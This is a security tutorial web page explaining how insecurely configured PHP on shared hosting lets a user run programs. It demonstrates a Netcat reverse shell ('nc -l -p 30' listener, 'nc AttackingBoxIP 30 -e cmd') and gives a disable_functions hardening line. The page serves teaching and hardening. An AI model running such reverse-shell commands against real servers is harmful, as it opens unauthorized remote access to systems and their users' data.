|
| |
|
| |
|
Sponsored by:
Affiliates: ![]() ![]() ![]()
EC-Council ECSA Training Videos
Web Hosting: |
Many do not realize the amount of power that PHP can give a system user if it is not configured securely. The problem this tutorial is about is not just a problem for web hosting companies. I come from the academic world where many universities give students and staff the ability to create their own web pages on a campus web server. Sometimes the users can even create ASP or PHP files for their website to make them more dynamic. With PHP installed and configured insecurely a user could run arbitrary programs on the system or in their web folder, seriously compromising system security. In this tutorial I will demonstrate this using a piece of software called Netcat ( http://www.atstake.com/research/tools/network_utilities/ ). Netcat is like a Swiss Army knife for making TCP connections. For an attacker to shovel a shell from the target web server he first has to start Netcat listening for a connection on his box. For this tutorial I chose to use port 30, but a different port could work just as well. Here is the command issued on the attackers box to start listening for a connection on port 30: nc -l -p 30 At this point all the attacker has to do is upload Netcat to his web space on the target server and use the following PHP script (which you can also download as a zip file later in this page, it should work in both Windows and *nix):
and then issue the following command in the input form when the script is loaded from the website: nc AttackingBoxIP 30 -e cmd disable_functions=system,exec,passthru,shell_exec If you want to see if PHP is configured securely on your web server unzip the following file: http://irongeek.com/downloads/cmd.php.zip into a web accessible directory and surf to it. This PHP script works on both Windows and Linux system (or any other OS that can use PHP). Once you have it in a web accessible directory try some of these commands: Windows: netstat Linux: df
blog comments powered by Disqus
Ten most recent posts on Irongeek.com:
|
If
you would like to republish one of the articles from this site on your
webpage or print journal please contact IronGeek.
Copyright 2010, IronGeek
Louisville / Kentuckiana Information Security Enthusiast